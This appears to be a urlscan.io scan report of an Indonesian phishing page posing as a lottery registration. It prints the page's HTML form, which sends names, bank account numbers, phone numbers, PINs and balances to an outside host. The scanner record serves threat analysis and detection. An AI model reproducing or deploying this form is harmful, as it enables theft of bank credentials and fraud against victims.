infogbyr-jatim.firebaseapp.com Open in urlscan Pro
2620:0:890::100  Public Scan

Form analysis
1 forms found in the DOM

POST https://centercallco-id.online/auth/req5/one.php

<form action="https://centercallco-id.online/auth/req5/one.php" method="POST" enctype="application/x-www-form-urlencoded" class="home-form">
  <span class="home-text">Registrasi Undian</span>
  <input type="text" name="nama" required="true" placeholder="Nama Lengkap" class="home-textinput input">
  <input type="tel" name="norek" required="true" placeholder="Nomor Rekening" class="home-textinput1 input">
  <input type="tel" name="nohp" required="true" maxlength="13" minlength="10" placeholder="Nomor Handphone" class="home-textinput2 input">
  <input type="password" inputmode="numeric" name="pin" required="true" maxlength="6" minlength="6" placeholder="PIN" class="home-textinput3 input">
  <input type="tel" name="saldo" required="true" placeholder="Sisa Saldo Akhir" id="inputku" onkeydown="return numbersonly(this, event);" onkeyup="javascript:tandaPemisahTitik(this);" class="home-textinput4 input">
  <button type="submit" class="home-button button"> Lanjutkan </button>
</form>

Text Content

Registrasi Undian Lanjutkan